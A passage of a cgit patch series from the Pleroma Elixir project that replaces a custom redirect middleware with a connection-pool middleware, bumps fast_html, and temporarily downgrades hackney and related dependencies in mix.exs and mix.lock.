-- cgit v1.2.3 From d34fe2840d969c30b393cfb73e34b6301027c776 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Thu, 3 Sep 2020 23:15:22 +0300 Subject: HTTP: radically simplify pool checkin/checkout Use a custom tesla middleware instead of adapter helper function + custom redirect middleware. This will also fix "Client died before releasing the connection" messages when the request pool is overloaded. Since the checkout is now done after passing ConcurrentLimiter. This is technically less efficient, since the connection needs to be checked in/out every time the middleware is left or entered respectively. But I don't think the nanoseconds we might lose on redirects to the same host are worth the complexity. --- lib/pleroma/http/adapter_helper.ex | 4 - lib/pleroma/http/adapter_helper/gun.ex | 9 -- lib/pleroma/http/adapter_helper/hackney.ex | 3 - lib/pleroma/http/http.ex | 39 ++++---- lib/pleroma/tesla/middleware/connection_pool.ex | 35 ++++++++ lib/pleroma/tesla/middleware/follow_redirects.ex | 110 ----------------------- 6 files changed, 51 insertions(+), 149 deletions(-) create mode 100644 lib/pleroma/tesla/middleware/connection_pool.ex delete mode 100644 lib/pleroma/tesla/middleware/follow_redirects.ex diff --git a/lib/pleroma/http/adapter_helper.ex b/lib/pleroma/http/adapter_helper.ex index 0728cbaa2..d72297323 100644 --- a/lib/pleroma/http/adapter_helper.ex +++ b/lib/pleroma/http/adapter_helper.ex @@ -19,7 +19,6 @@ defmodule Pleroma.HTTP.AdapterHelper do | {Connection.proxy_type(), Connection.host(), pos_integer()} @callback options(keyword(), URI.t()) :: keyword() - @callback get_conn(URI.t(), keyword()) :: {:ok, term()} | {:error, term()} @spec format_proxy(String.t() | tuple() | nil) :: proxy() | nil def format_proxy(nil), do: nil @@ -47,9 +46,6 @@ def options(%URI{} = uri, opts \\ []) do |> adapter_helper().options(uri) end - @spec get_conn(URI.t(), keyword()) :: {:ok, keyword()} | {:error, atom()} - def get_conn(uri, opts), do: adapter_helper().get_conn(uri, opts) - defp adapter, do: Application.get_env(:tesla, :adapter) defp adapter_helper do diff --git a/lib/pleroma/http/adapter_helper/gun.ex b/lib/pleroma/http/adapter_helper/gun.ex index 02e20f2d1..4a967d8f2 100644 --- a/lib/pleroma/http/adapter_helper/gun.ex +++ b/lib/pleroma/http/adapter_helper/gun.ex @@ -6,7 +6,6 @@ defmodule Pleroma.HTTP.AdapterHelper.Gun do @behaviour Pleroma.HTTP.AdapterHelper alias Pleroma.Config - alias Pleroma.Gun.ConnectionPool alias Pleroma.HTTP.AdapterHelper require Logger @@ -57,14 +56,6 @@ def pool_timeout(pool) do Config.get([:pools, pool, :timeout], default) end - @spec get_conn(URI.t(), keyword()) :: {:ok, keyword()} | {:error, atom()} - def get_conn(uri, opts) do - case ConnectionPool.get_conn(uri, opts) do - {:ok, conn_pid} -> {:ok, Keyword.merge(opts, conn: conn_pid, close_conn: false)} - err -> err - end - end - @prefix Pleroma.Gun.ConnectionPool def limiter_setup do wait = Config.get([:connections_pool, :connection_acquisition_wait]) diff --git a/lib/pleroma/http/adapter_helper/hackney.ex b/lib/pleroma/http/adapter_helper/hackney.ex index cd569422b..f47a671ad 100644 --- a/lib/pleroma/http/adapter_helper/hackney.ex +++ b/lib/pleroma/http/adapter_helper/hackney.ex @@ -23,7 +23,4 @@ def options(connection_opts \\ [], %URI{} = uri) do end defp add_scheme_opts(opts, _), do: opts - - @spec get_conn(URI.t(), keyword()) :: {:ok, keyword()} - def get_conn(_uri, opts), do: {:ok, opts} end diff --git a/lib/pleroma/http/http.ex b/lib/pleroma/http/http.ex index b37b3fa89..7bc73f4a0 100644 --- a/lib/pleroma/http/http.ex +++ b/lib/pleroma/http/http.ex @@ -62,28 +62,21 @@ def request(method, url, body, headers, options) when is_binary(url) do uri = URI.parse(url) adapter_opts = AdapterHelper.options(uri, options[:adapter] || []) - case AdapterHelper.get_conn(uri, adapter_opts) do - {:ok, adapter_opts} -> - options = put_in(options[:adapter], adapter_opts) - params = options[:params] || [] - request = build_request(method, headers, options, url, body, params) - - adapter = Application.get_env(:tesla, :adapter) - - client = Tesla.client(adapter_middlewares(adapter), adapter) - - maybe_limit( - fn -> - request(client, request) - end, - adapter, - adapter_opts - ) - - # Connection release is handled in a custom FollowRedirects middleware - err -> - err - end + options = put_in(options[:adapter], adapter_opts) + params = options[:params] || [] + request = build_request(method, headers, options, url, body, params) + + adapter = Application.get_env(:tesla, :adapter) + + client = Tesla.client(adapter_middlewares(adapter), adapter) + + maybe_limit( + fn -> + request(client, request) + end, + adapter, + adapter_opts + ) end @spec request(Client.t(), keyword()) :: {:ok, Env.t()} | {:error, any()} @@ -110,7 +103,7 @@ defp maybe_limit(fun, _, _) do end defp adapter_middlewares(Tesla.Adapter.Gun) do - [Pleroma.HTTP.Middleware.FollowRedirects] + [Tesla.Middleware.FollowRedirects, Pleroma.Tesla.Middleware.ConnectionPool] end defp adapter_middlewares(_), do: [] diff --git a/lib/pleroma/tesla/middleware/connection_pool.ex b/lib/pleroma/tesla/middleware/connection_pool.ex new file mode 100644 index 000000000..a435ab4cc --- /dev/null +++ b/lib/pleroma/tesla/middleware/connection_pool.ex @@ -0,0 +1,35 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Tesla.Middleware.ConnectionPool do + @moduledoc """ + Middleware to get/release connections from `Pleroma.Gun.ConnectionPool` + """ + + @behaviour Tesla.Middleware + + alias Pleroma.Gun.ConnectionPool + + @impl Tesla.Middleware + def call(%Tesla.Env{url: url, opts: opts} = env, next, _) do + uri = URI.parse(url) + + case ConnectionPool.get_conn(uri, opts[:adapter]) do + {:ok, conn_pid} -> + adapter_opts = Keyword.merge(opts[:adapter], conn: conn_pid, close_conn: false) + opts = Keyword.put(opts, :adapter, adapter_opts) + env = %{env | opts: opts} + res = Tesla.run(env, next) + + unless opts[:adapter][:body_as] == :chunks do + ConnectionPool.release_conn(conn_pid) + end + + res + + err -> + err + end + end +end diff --git a/lib/pleroma/tesla/middleware/follow_redirects.ex b/lib/pleroma/tesla/middleware/follow_redirects.ex deleted file mode 100644 index 5a7032215..000000000 --- a/lib/pleroma/tesla/middleware/follow_redirects.ex +++ /dev/null @@ -1,110 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2015-2020 Tymon Tobolski <https://github.com/teamon/tesla/blob/master/lib/tesla/middleware/follow_redirects.ex> -# Copyright © 2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTP.Middleware.FollowRedirects do - @moduledoc """ - Pool-aware version of https://github.com/teamon/tesla/blob/master/lib/tesla/middleware/follow_redirects.ex - - Follow 3xx redirects - ## Options - - `:max_redirects` - limit number of redirects (default: `5`) - """ - - alias Pleroma.Gun.ConnectionPool - - @behaviour Tesla.Middleware - - @max_redirects 5 - @redirect_statuses [301, 302, 303, 307, 308] - - @impl Tesla.Middleware - def call(env, next, opts \\ []) do - max = Keyword.get(opts, :max_redirects, @max_redirects) - - redirect(env, next, max) - end - - defp redirect(env, next, left) do - opts = env.opts[:adapter] - - case Tesla.run(env, next) do - {:ok, %{status: status} = res} when status in @redirect_statuses and left > 0 -> - release_conn(opts) - - case Tesla.get_header(res, "location") do - nil -> - {:ok, res} - - location -> - location = parse_location(location, res) - - case get_conn(location, opts) do - {:ok, opts} -> - %{env | opts: Keyword.put(env.opts, :adapter, opts)} - |> new_request(res.status, location) - |> redirect(next, left - 1) - - e -> - e - end - end - - {:ok, %{status: status}} when status in @redirect_statuses -> - release_conn(opts) - {:error, {__MODULE__, :too_many_redirects}} - - {:error, _} = e -> - release_conn(opts) - e - - other -> - unless opts[:body_as] == :chunks do - release_conn(opts) - end - - other - end - end - - defp get_conn(location, opts) do - uri = URI.parse(location) - - case ConnectionPool.get_conn(uri, opts) do - {:ok, conn} -> - {:ok, Keyword.merge(opts, conn: conn)} - - e -> - e - end - end - - defp release_conn(opts) do - ConnectionPool.release_conn(opts[:conn]) - end - - # The 303 (See Other) redirect was added in HTTP/1.1 to indicate that the originally - # requested resource is not available, however a related resource (or another redirect) - # available via GET is available at the specified location. - # https://tools.ietf.org/html/rfc7231#section-6.4.4 - defp new_request(env, 303, location), do: %{env | url: location, method: :get, query: []} - - # The 307 (Temporary Redirect) status code indicates that the target - # resource resides temporarily under a different URI and the user agent - # MUST NOT change the request method (...) - # https://tools.ietf.org/html/rfc7231#section-6.4.7 - defp new_request(env, 307, location), do: %{env | url: location} - - defp new_request(env, _, location), do: %{env | url: location, query: []} - - defp parse_location("https://" <> _rest = location, _env), do: location - defp parse_location("http://" <> _rest = location, _env), do: location - - defp parse_location(location, env) do - env.url - |> URI.parse() - |> URI.merge(location) - |> URI.to_string() - end -end -- cgit v1.2.3 From bce22937dc5c7545b9f104daf4b8ef9afaa65e75 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" <contact@hacktivis.me> Date: Fri, 4 Sep 2020 09:15:58 +0200 Subject: mix.lock: Bump fast_html This update fixes an incorrect push to Hex that reverted the gcc-10 fix --- mix.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mix.lock b/mix.lock index afb4b06db..874ea9215 100644 --- a/mix.lock +++ b/mix.lock @@ -42,7 +42,7 @@ "ex_machina": {:hex, :ex_machina, "2.4.0", "09a34c5d371bfb5f78399029194a8ff67aff340ebe8ba19040181af35315eabb", [:mix], [{:ecto, "~> 2.2 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}, {:ecto_sql, "~> 3.0", [hex: :ecto_sql, repo: "hexpm", optional: true]}], "hexpm", "a20bc9ddc721b33ea913b93666c5d0bdca5cbad7a67540784ae277228832d72c"}, "ex_syslogger": {:hex, :ex_syslogger, "1.5.2", "72b6aa2d47a236e999171f2e1ec18698740f40af0bd02c8c650bf5f1fd1bac79", [:mix], [{:poison, ">= 1.5.0", [hex: :poison, repo: "hexpm", optional: true]}, {:syslog, "~> 1.1.0", [hex: :syslog, repo: "hexpm", optional: false]}], "hexpm", "ab9fab4136dbc62651ec6f16fa4842f10cf02ab4433fa3d0976c01be99398399"}, "excoveralls": {:hex, :excoveralls, "0.13.1", "b9f1697f7c9e0cfe15d1a1d737fb169c398803ffcbc57e672aa007e9fd42864c", [:mix], [{:hackney, "~> 1.16", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "b4bb550e045def1b4d531a37fb766cbbe1307f7628bf8f0414168b3f52021cce"}, - "fast_html": {:hex, :fast_html, "2.0.3", "27289dea6c3a22952191a2d4e07f546c0de8a351484782c2e797dbae06a5dc8a", [:make, :mix], [{:elixir_make, "~> 0.4", [hex: :elixir_make, repo: "hexpm", optional: false]}, {:nimble_pool, "~> 0.1.0", [hex: :nimble_pool, repo: "hexpm", optional: false]}], "hexpm", "17d41fa8afe4e912ffe74e13b87ddb085382cd2b7393636d338495c9a8a7b518"}, + "fast_html": {:hex, :fast_html, "2.0.4", "4910ee49f2f6b19692e3bf30bf97f1b6b7dac489cd6b0f34cd0fe3042c56ba30", [:make, :mix], [{:elixir_make, "~> 0.4", [hex: :elixir_make, repo: "hexpm", optional: false]}, {:nimble_pool, "~> 0.1.0", [hex: :nimble_pool, repo: "hexpm", optional: false]}], "hexpm", "3bb49d541dfc02ad5e425904f53376d758c09f89e521afc7d2b174b3227761ea"}, "fast_sanitize": {:hex, :fast_sanitize, "0.2.2", "3cbbaebaea6043865dfb5b4ecb0f1af066ad410a51470e353714b10c42007b81", [:mix], [{:fast_html, "~> 2.0", [hex: :fast_html, repo: "hexpm", optional: false]}, {:plug, "~> 1.8", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "69f204db9250afa94a0d559d9110139850f57de2b081719fbafa1e9a89e94466"}, "flake_id": {:hex, :flake_id, "0.1.0", "7716b086d2e405d09b647121a166498a0d93d1a623bead243e1f74216079ccb3", [:mix], [{:base62, "~> 1.2", [hex: :base62, repo: "hexpm", optional: false]}, {:ecto, ">= 2.0.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm", "31fc8090fde1acd267c07c36ea7365b8604055f897d3a53dd967658c691bd827"}, "floki": {:hex, :floki, "0.27.0", "6b29a14283f1e2e8fad824bc930eaa9477c462022075df6bea8f0ad811c13599", [:mix], [{:html_entities, "~> 0.5.0", [hex: :html_entities, repo: "hexpm", optional: false]}], "hexpm", "583b8c13697c37179f1f82443bcc7ad2f76fbc0bf4c186606eebd658f7f2631b"}, -- cgit v1.2.3 From 8bd2b6eb138ace3408a03c78ecc339fc35b19f10 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Fri, 4 Sep 2020 14:24:15 +0300 Subject: temp hackney fix --- lib/pleroma/http/adapter_helper/hackney.ex | 4 ++++ mix.exs | 5 ++++- mix.lock | 14 +++++++------- 3 files changed, 15 insertions(+), 8 deletions(-) diff --git a/lib/pleroma/http/adapter_helper/hackney.ex b/lib/pleroma/http/adapter_helper/hackney.ex index f47a671ad..42e3acfec 100644 --- a/lib/pleroma/http/adapter_helper/hackney.ex +++ b/lib/pleroma/http/adapter_helper/hackney.ex @@ -22,5 +22,9 @@ def options(connection_opts \\ [], %URI{} = uri) do |> Pleroma.HTTP.AdapterHelper.maybe_add_proxy(proxy) end + defp add_scheme_opts(opts, %URI{scheme: "https"}) do + Keyword.put(opts, :ssl_options, versions: [:"tlsv1.2", :"tlsv1.1", :tlsv1]) + end + defp add_scheme_opts(opts, _), do: opts end diff --git a/mix.exs b/mix.exs index 4de0c78db..f734e4f61 100644 --- a/mix.exs +++ b/mix.exs @@ -195,7 +195,10 @@ defp deps do {:ex_machina, "~> 2.4", only: :test}, {:credo, "~> 1.4", only: [:dev, :test], runtime: false}, {:mock, "~> 0.3.5", only: :test}, - {:excoveralls, "~> 0.13.1", only: :test}, + # temporary downgrade for excoveralls, hackney and httpoison - until hackney max_connections bug will be fixed + {:excoveralls, "0.12.3", only: :test}, + {:hackney, "1.15.2"}, + {:httpoison, "1.6.2"}, {:mox, "~> 0.5", only: :test}, {:websocket_client, git: "https://github.com/jeremyong/websocket_client.git", only: :test} ] ++ oauth_deps() diff --git a/mix.lock b/mix.lock index 874ea9215..b97dd6342 100644 --- a/mix.lock +++ b/mix.lock @@ -11,7 +11,7 @@ "calendar": {:hex, :calendar, "1.0.0", "f52073a708528482ec33d0a171954ca610fe2bd28f1e871f247dc7f1565fa807", [:mix], [{:tzdata, "~> 0.5.20 or ~> 0.1.201603 or ~> 1.0", [hex: :tzdata, repo: "hexpm", optional: false]}], "hexpm", "990e9581920c82912a5ee50e62ff5ef96da6b15949a2ee4734f935fdef0f0a6f"}, "captcha": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/elixir-captcha.git", "e0f16822d578866e186a0974d65ad58cddc1e2ab", [ref: "e0f16822d578866e186a0974d65ad58cddc1e2ab"]}, "castore": {:hex, :castore, "0.1.7", "1ca19eee705cde48c9e809e37fdd0730510752cc397745e550f6065a56a701e9", [:mix], [], "hexpm", "a2ae2c13d40e9c308387f1aceb14786dca019ebc2a11484fb2a9f797ea0aa0d8"}, - "certifi": {:hex, :certifi, "2.5.2", "b7cfeae9d2ed395695dd8201c57a2d019c0c43ecaf8b8bcb9320b40d6662f340", [:rebar3], [{:parse_trans, "~>3.3", [hex: :parse_trans, repo: "hexpm", optional: false]}], "hexpm", "3b3b5f36493004ac3455966991eaf6e768ce9884693d9968055aeeeb1e575040"}, + "certifi": {:hex, :certifi, "2.5.1", "867ce347f7c7d78563450a18a6a28a8090331e77fa02380b4a21962a65d36ee5", [:rebar3], [{:parse_trans, "~>3.3", [hex: :parse_trans, repo: "hexpm", optional: false]}], "hexpm", "805abd97539caf89ec6d4732c91e62ba9da0cda51ac462380bbd28ee697a8c42"}, "combine": {:hex, :combine, "0.10.0", "eff8224eeb56498a2af13011d142c5e7997a80c8f5b97c499f84c841032e429f", [:mix], [], "hexpm", "1b1dbc1790073076580d0d1d64e42eae2366583e7aecd455d1215b0d16f2451b"}, "comeonin": {:hex, :comeonin, "5.3.1", "7fe612b739c78c9c1a75186ef2d322ce4d25032d119823269d0aa1e2f1e20025", [:mix], [], "hexpm", "d6222483060c17f0977fad1b7401ef0c5863c985a64352755f366aee3799c245"}, "concurrent_limiter": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/concurrent_limiter.git", "55e92f84b4ed531bd487952a71040a9c69dc2807", [ref: "55e92f84b4ed531bd487952a71040a9c69dc2807"]}, @@ -41,7 +41,7 @@ "ex_doc": {:hex, :ex_doc, "0.22.2", "03a2a58bdd2ba0d83d004507c4ee113b9c521956938298eba16e55cc4aba4a6c", [:mix], [{:earmark_parser, "~> 1.4.0", [hex: :earmark_parser, repo: "hexpm", optional: false]}, {:makeup_elixir, "~> 0.14", [hex: :makeup_elixir, repo: "hexpm", optional: false]}], "hexpm", "cf60e1b3e2efe317095b6bb79651f83a2c1b3edcb4d319c421d7fcda8b3aff26"}, "ex_machina": {:hex, :ex_machina, "2.4.0", "09a34c5d371bfb5f78399029194a8ff67aff340ebe8ba19040181af35315eabb", [:mix], [{:ecto, "~> 2.2 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}, {:ecto_sql, "~> 3.0", [hex: :ecto_sql, repo: "hexpm", optional: true]}], "hexpm", "a20bc9ddc721b33ea913b93666c5d0bdca5cbad7a67540784ae277228832d72c"}, "ex_syslogger": {:hex, :ex_syslogger, "1.5.2", "72b6aa2d47a236e999171f2e1ec18698740f40af0bd02c8c650bf5f1fd1bac79", [:mix], [{:poison, ">= 1.5.0", [hex: :poison, repo: "hexpm", optional: true]}, {:syslog, "~> 1.1.0", [hex: :syslog, repo: "hexpm", optional: false]}], "hexpm", "ab9fab4136dbc62651ec6f16fa4842f10cf02ab4433fa3d0976c01be99398399"}, - "excoveralls": {:hex, :excoveralls, "0.13.1", "b9f1697f7c9e0cfe15d1a1d737fb169c398803ffcbc57e672aa007e9fd42864c", [:mix], [{:hackney, "~> 1.16", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "b4bb550e045def1b4d531a37fb766cbbe1307f7628bf8f0414168b3f52021cce"}, + "excoveralls": {:hex, :excoveralls, "0.12.3", "2142be7cb978a3ae78385487edda6d1aff0e482ffc6123877bb7270a8ffbcfe0", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "568a3e616c264283f5dea5b020783ae40eef3f7ee2163f7a67cbd7b35bcadada"}, "fast_html": {:hex, :fast_html, "2.0.4", "4910ee49f2f6b19692e3bf30bf97f1b6b7dac489cd6b0f34cd0fe3042c56ba30", [:make, :mix], [{:elixir_make, "~> 0.4", [hex: :elixir_make, repo: "hexpm", optional: false]}, {:nimble_pool, "~> 0.1.0", [hex: :nimble_pool, repo: "hexpm", optional: false]}], "hexpm", "3bb49d541dfc02ad5e425904f53376d758c09f89e521afc7d2b174b3227761ea"}, "fast_sanitize": {:hex, :fast_sanitize, "0.2.2", "3cbbaebaea6043865dfb5b4ecb0f1af066ad410a51470e353714b10c42007b81", [:mix], [{:fast_html, "~> 2.0", [hex: :fast_html, repo: "hexpm", optional: false]}, {:plug, "~> 1.8", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "69f204db9250afa94a0d559d9110139850f57de2b081719fbafa1e9a89e94466"}, "flake_id": {:hex, :flake_id, "0.1.0", "7716b086d2e405d09b647121a166498a0d93d1a623bead243e1f74216079ccb3", [:mix], [{:base62, "~> 1.2", [hex: :base62, repo: "hexpm", optional: false]}, {:ecto, ">= 2.0.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm", "31fc8090fde1acd267c07c36ea7365b8604055f897d3a53dd967658c691bd827"}, @@ -51,12 +51,12 @@ "gen_state_machine": {:hex, :gen_state_machine, "2.0.5", "9ac15ec6e66acac994cc442dcc2c6f9796cf380ec4b08267223014be1c728a95", [:mix], [], "hexpm"}, "gettext": {:hex, :gettext, "0.18.0", "406d6b9e0e3278162c2ae1de0a60270452c553536772167e2d701f028116f870", [:mix], [], "hexpm", "c3f850be6367ebe1a08616c2158affe4a23231c70391050bf359d5f92f66a571"}, "gun": {:git, "https://github.com/ninenines/gun.git", "921c47146b2d9567eac7e9a4d2ccc60fffd4f327", [ref: "921c47146b2d9567eac7e9a4d2ccc60fffd4f327"]}, - "hackney": {:hex, :hackney, "1.16.0", "5096ac8e823e3a441477b2d187e30dd3fff1a82991a806b2003845ce72ce2d84", [:rebar3], [{:certifi, "2.5.2", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "6.0.1", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "1.0.1", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "~>1.1", [hex: :mimerl, repo: "hexpm", optional: false]}, {:parse_trans, "3.3.0", [hex: :parse_trans, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "1.1.6", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}], "hexpm", "3bf0bebbd5d3092a3543b783bf065165fa5d3ad4b899b836810e513064134e18"}, + "hackney": {:hex, :hackney, "1.15.2", "07e33c794f8f8964ee86cebec1a8ed88db5070e52e904b8f12209773c1036085", [:rebar3], [{:certifi, "2.5.1", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "6.0.0", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "1.0.1", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "~>1.1", [hex: :mimerl, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "1.1.5", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}], "hexpm", "e0100f8ef7d1124222c11ad362c857d3df7cb5f4204054f9f0f4a728666591fc"}, "html_entities": {:hex, :html_entities, "0.5.1", "1c9715058b42c35a2ab65edc5b36d0ea66dd083767bef6e3edb57870ef556549", [:mix], [], "hexpm", "30efab070904eb897ff05cd52fa61c1025d7f8ef3a9ca250bc4e6513d16c32de"}, "html_sanitize_ex": {:hex, :html_sanitize_ex, "1.3.0", "f005ad692b717691203f940c686208aa3d8ffd9dd4bb3699240096a51fa9564e", [:mix], [{:mochiweb, "~> 2.15", [hex: :mochiweb, repo: "hexpm", optional: false]}], "hexpm"}, "http_signatures": {:hex, :http_signatures, "0.1.0", "4e4b501a936dbf4cb5222597038a89ea10781776770d2e185849fa829686b34c", [:mix], [], "hexpm", "f8a7b3731e3fd17d38fa6e343fcad7b03d6874a3b0a108c8568a71ed9c2cf824"}, - "httpoison": {:hex, :httpoison, "1.7.0", "abba7d086233c2d8574726227b6c2c4f6e53c4deae7fe5f6de531162ce9929a0", [:mix], [{:hackney, "~> 1.16", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "975cc87c845a103d3d1ea1ccfd68a2700c211a434d8428b10c323dc95dc5b980"}, - "idna": {:hex, :idna, "6.0.1", "1d038fb2e7668ce41fbf681d2c45902e52b3cb9e9c77b55334353b222c2ee50c", [:rebar3], [{:unicode_util_compat, "0.5.0", [hex: :unicode_util_compat, repo: "hexpm", optional: false]}], "hexpm", "a02c8a1c4fd601215bb0b0324c8a6986749f807ce35f25449ec9e69758708122"}, + "httpoison": {:hex, :httpoison, "1.6.2", "ace7c8d3a361cebccbed19c283c349b3d26991eff73a1eaaa8abae2e3c8089b6", [:mix], [{:hackney, "~> 1.15 and >= 1.15.2", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "aa2c74bd271af34239a3948779612f87df2422c2fdcfdbcec28d9c105f0773fe"}, + "idna": {:hex, :idna, "6.0.0", "689c46cbcdf3524c44d5f3dde8001f364cd7608a99556d8fbd8239a5798d4c10", [:rebar3], [{:unicode_util_compat, "0.4.1", [hex: :unicode_util_compat, repo: "hexpm", optional: false]}], "hexpm", "4bdd305eb64e18b0273864920695cb18d7a2021f31a11b9c5fbcd9a253f936e2"}, "inet_cidr": {:hex, :inet_cidr, "1.0.4", "a05744ab7c221ca8e395c926c3919a821eb512e8f36547c062f62c4ca0cf3d6e", [:mix], [], "hexpm", "64a2d30189704ae41ca7dbdd587f5291db5d1dda1414e0774c29ffc81088c1bc"}, "jason": {:hex, :jason, "1.2.1", "12b22825e22f468c02eb3e4b9985f3d0cb8dc40b9bd704730efa11abd2708c44", [:mix], [{:decimal, "~> 1.0", [hex: :decimal, repo: "hexpm", optional: true]}], "hexpm", "b659b8571deedf60f79c5a608e15414085fa141344e2716fbd6988a084b5f993"}, "joken": {:hex, :joken, "2.2.0", "2daa1b12be05184aff7b5ace1d43ca1f81345962285fff3f88db74927c954d3a", [:mix], [{:jose, "~> 1.9", [hex: :jose, repo: "hexpm", optional: false]}], "hexpm", "b4f92e30388206f869dd25d1af628a1d99d7586e5cf0672f64d4df84c4d2f5e9"}, @@ -105,7 +105,7 @@ "recon": {:hex, :recon, "2.5.1", "430ffa60685ac1efdfb1fe4c97b8767c92d0d92e6e7c3e8621559ba77598678a", [:mix, :rebar3], [], "hexpm", "5721c6b6d50122d8f68cccac712caa1231f97894bab779eff5ff0f886cb44648"}, "remote_ip": {:git, "https://git.pleroma.social/pleroma/remote_ip.git", "b647d0deecaa3acb140854fe4bda5b7e1dc6d1c8", [ref: "b647d0deecaa3acb140854fe4bda5b7e1dc6d1c8"]}, "sleeplocks": {:hex, :sleeplocks, "1.1.1", "3d462a0639a6ef36cc75d6038b7393ae537ab394641beb59830a1b8271faeed3", [:rebar3], [], "hexpm", "84ee37aeff4d0d92b290fff986d6a95ac5eedf9b383fadfd1d88e9b84a1c02e1"}, - "ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.6", "cf344f5692c82d2cd7554f5ec8fd961548d4fd09e7d22f5b62482e5aeaebd4b0", [:make, :mix, :rebar3], [], "hexpm", "bdb0d2471f453c88ff3908e7686f86f9be327d065cc1ec16fa4540197ea04680"}, + "ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.5", "6eaf7ad16cb568bb01753dbbd7a95ff8b91c7979482b95f38443fe2c8852a79b", [:make, :mix, :rebar3], [], "hexpm", "13104d7897e38ed7f044c4de953a6c28597d1c952075eb2e328bc6d6f2bfc496"}, "sweet_xml": {:hex, :sweet_xml, "0.6.6", "fc3e91ec5dd7c787b6195757fbcf0abc670cee1e4172687b45183032221b66b8", [:mix], [], "hexpm", "2e1ec458f892ffa81f9f8386e3f35a1af6db7a7a37748a64478f13163a1f3573"}, "swoosh": {:hex, :swoosh, "1.0.0", "c547cfc83f30e12d5d1fdcb623d7de2c2e29a5becfc68bf8f42ba4d23d2c2756", [:mix], [{:cowboy, "~> 1.0.1 or ~> 1.1 or ~> 2.4", [hex: :cowboy, repo: "hexpm", optional: true]}, {:gen_smtp, "~> 0.13", [hex: :gen_smtp, repo: "hexpm", optional: true]}, {:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: true]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:mail, "~> 0.2", [hex: :mail, repo: "hexpm", optional: true]}, {:mime, "~> 1.1", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_cowboy, ">= 1.0.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}], "hexpm", "b3b08e463f876cb6167f7168e9ad99a069a724e124bcee61847e0e1ed13f4a0d"}, "syslog": {:hex, :syslog, "1.1.0", "6419a232bea84f07b56dc575225007ffe34d9fdc91abe6f1b2f254fd71d8efc2", [:rebar3], [], "hexpm", "4c6a41373c7e20587be33ef841d3de6f3beba08519809329ecc4d27b15b659e1"}, @@ -115,7 +115,7 @@ "trailing_format_plug": {:hex, :trailing_format_plug, "0.0.7", "64b877f912cf7273bed03379936df39894149e35137ac9509117e59866e10e45", [:mix], [{:plug, "> 0.12.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "bd4fde4c15f3e993a999e019d64347489b91b7a9096af68b2bdadd192afa693f"}, "tzdata": {:hex, :tzdata, "1.0.3", "73470ad29dde46e350c60a66e6b360d3b99d2d18b74c4c349dbebbc27a09a3eb", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "a6e1ee7003c4d04ecbd21dd3ec690d4c6662db5d3bbdd7262d53cdf5e7c746c1"}, "ueberauth": {:hex, :ueberauth, "0.6.3", "d42ace28b870e8072cf30e32e385579c57b9cc96ec74fa1f30f30da9c14f3cc0", [:mix], [{:plug, "~> 1.5", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "afc293d8a1140d6591b53e3eaf415ca92842cb1d32fad3c450c6f045f7f91b60"}, - "unicode_util_compat": {:hex, :unicode_util_compat, "0.5.0", "8516502659002cec19e244ebd90d312183064be95025a319a6c7e89f4bccd65b", [:rebar3], [], "hexpm", "d48d002e15f5cc105a696cf2f1bbb3fc72b4b770a184d8420c8db20da2674b38"}, + "unicode_util_compat": {:hex, :unicode_util_compat, "0.4.1", "d869e4c68901dd9531385bb0c8c40444ebf624e60b6962d95952775cac5e90cd", [:rebar3], [], "hexpm", "1d1848c40487cdb0b30e8ed975e34e025860c02e419cb615d255849f3427439d"}, "unsafe": {:hex, :unsafe, "1.0.1", "a27e1874f72ee49312e0a9ec2e0b27924214a05e3ddac90e91727bc76f8613d8", [:mix], [], "hexpm", "6c7729a2d214806450d29766abc2afaa7a2cbecf415be64f36a6691afebb50e5"}, "web_push_encryption": {:hex, :web_push_encryption, "0.3.0", "598b5135e696fd1404dc8d0d7c0fa2c027244a4e5d5e5a98ba267f14fdeaabc8", [:mix], [{:httpoison, "~> 1.0", [hex: :httpoison, repo: "hexpm", optional: 